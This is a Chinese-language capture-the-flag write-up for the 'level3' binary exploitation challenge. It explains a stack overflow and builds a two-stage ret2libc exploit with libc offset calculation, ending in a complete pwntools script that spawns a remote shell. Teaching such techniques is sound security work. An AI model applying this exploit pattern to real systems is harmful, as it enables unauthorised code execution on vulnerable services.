攻防世界PWN題 level3


題目地址

下載后發現題目的附件是一個 32 位可執行文件 level,以及一個 32 位的 libc 運行庫

接下來使用 checksec 來查看 elf 文件開啟了哪些保護,可得到如下內容:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

執行一下來看效果,發現其基本流程如下

Input:
<獲取輸入>
Hello, World!

放到 ida 里反匯編得到如下結果

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

發現可以函數 vulnerable_function ,繼續查看其反匯編代碼

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

通過前面的 checksec 可以發現並沒有開啟 canary ,同時 read 的第三個參數大於 buf 的大小,可知這里存在棧溢出的漏洞,檢查一下文件並沒有發現輸出 flag 的邏輯,那么題目的目的應該是獲取 shell

要獲取 shell ,首先想到的是找 system 的地址,然后通過 vulnerable_function 函數中的棧溢出漏洞來修改返回地址為 system 的地址,從而劫持程序運行流,但是程序中並沒有調用 system 函數,也沒有諸如 “/bin/sh” 之類的字符串,所以只能從附件中的另一個文件下手,這是一個運行庫文件,我們的目的是要通過它來獲得兩者的地址。

這里假設讀者有 got 和 plt 相關的知識,如果不了解請自行搜索學習;或者從一個不太嚴謹的角度來看的話,對這道題而言我們只需要記住這幾點:

  1. 我們將會從 got 中獲得庫函數(write 和 read 函數)的地址
  2. 我們將會用 plt 來調用它們
  3. 如果系統開啟了 ASLR ,那么每次庫的加載地址都不同,因此庫函數的地址也不同
  4. 盡管開啟了 ASLR ,庫函數中字符串常量和函數之間的相對位置也是確定的

只要知道了這四點,理解下面的 exp 就沒什么問題了

我們可以通過對 libc 進行 checksec 檢查,發現它是開啟了 pie 的,而現代操作系統一般都開啟了 ASLR ,所以庫函數在每次運行時都會被加載到不同的位置,但是正如上面的第四點所說,由於函數間的相對位置是確定的,那么只要能知道其中一個函數的真正地址,我們就可以計算出任意庫函數的地址,這里我們的目標是從 got 中獲取 write 函數的地址,所以要獲得的是 system 和 "/bin/sh" 與它的相對位置,具體方法如下

  1. 首先要獲得 write 和 system 的相對位置,由於庫文件本質上是一個位置無關的 elf (你甚至可以運行它),所以可以使用 readelf 工具來查看它的信息,readelf 有一個選項 -s 可用於輸出符號表,結合 grep 工具和管道可以用來查找兩個函數的位置,具體命令為 readelf -s libc_32.so.6|grep 函數名 ,運行兩次命令,函數名分別換成 write 和 system,在輸出中尋找 write@@GLIBC_2.0system@@GLIBC_2.0 ,用 system 的第二列減掉 write 的第二列得到相對位置 -0x99a80

  2. 或者也可以使用 pwntools ,運行如下腳本來獲得同樣的值

    from pwn import *
    
    elf = ELF(libc_32.so.6 相對於 py 文件的位置)
    
    print(hex(elf.symbols['system']-elf.symbols['write']))
    

    理由同第 1 點,這里不再做解釋

  3. 然后要獲得字符串 "/bin/sh" 相對於 write 的位置,可以使用 strings 工具來執行 strings -at x libc_32.so.6|grep /bin/sh 來獲得字符串的地址,或者使用 ROPgadget 工具來執行 ROPgadget --binary libc_32.so.6 --string "/bin/sh" 命令,兩個工具的使用方式這里不做介紹;拿到地址后,減掉 write 的地址獲得相對位置 0x84c6b

如前所述,我們將會通過 got 來獲得 write 的地址,並通過 plt 來調用它,所以針對前面的棧溢出漏洞可以構造 payload 為 b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(10)

這樣就調用了 write 來輸出它的地址,其中從 p32(1) 開始為 write 的三個參數

但是這樣還不夠,我們之前說,由於開啟了 PIE 和 ASLR ,庫函數每次的地址都會改變,所以這次獲得的地址在下一次運行時就沒有意義,為此我們需要在獲得函數地址后控制程序的執行流,讓它回到 read 的地方,從而使我們能夠輸入另一條 payload 來獲得 shell;不過其實回到 main 也可以,所以上面 b'0000' 的部分需要被改為 p32(elf.symbols['main']) ,關於為什么這里 payload 的格式是這樣的,不明白的小伙伴可以看我的另一篇博客最后的部分

這樣以后,我們通過 u32(p.recv()[:4]) 即可獲得 write 的地址,u32 可以看作是 p32 的逆操作,它的參數 p.recv()[:4] ,是取輸出的前 4 個 byte,因為在 32 位程序中,地址只需要 4 個 byte 來表示

獲得 write 的地址后,我們可以根據上面計算得到的相對地址獲得 system 和 “/bin/sh” 的地址,從而構造第二個 payload 為

b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b) ,這里我們只關心獲得的 shell ,因此返回地址就寫 0000 了

總結一下,可得到 exp 如下

from pwn import *

p = remote(遠程ip, 遠程端口)
elf = ELF(level3 相對於 py 文件的位置)

payload = b'0'*0x8c+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['write'])+p32(10)

p.recv()
p.sendline(payload)

write_addr = u32(p.recv()[:4])

payload = b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b)

p.sendline(payload)

p.interactive()

獲得 shell 后,ls 命令來查看當前目錄,發現 flag 文件,用 cat 來獲得內容即可


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM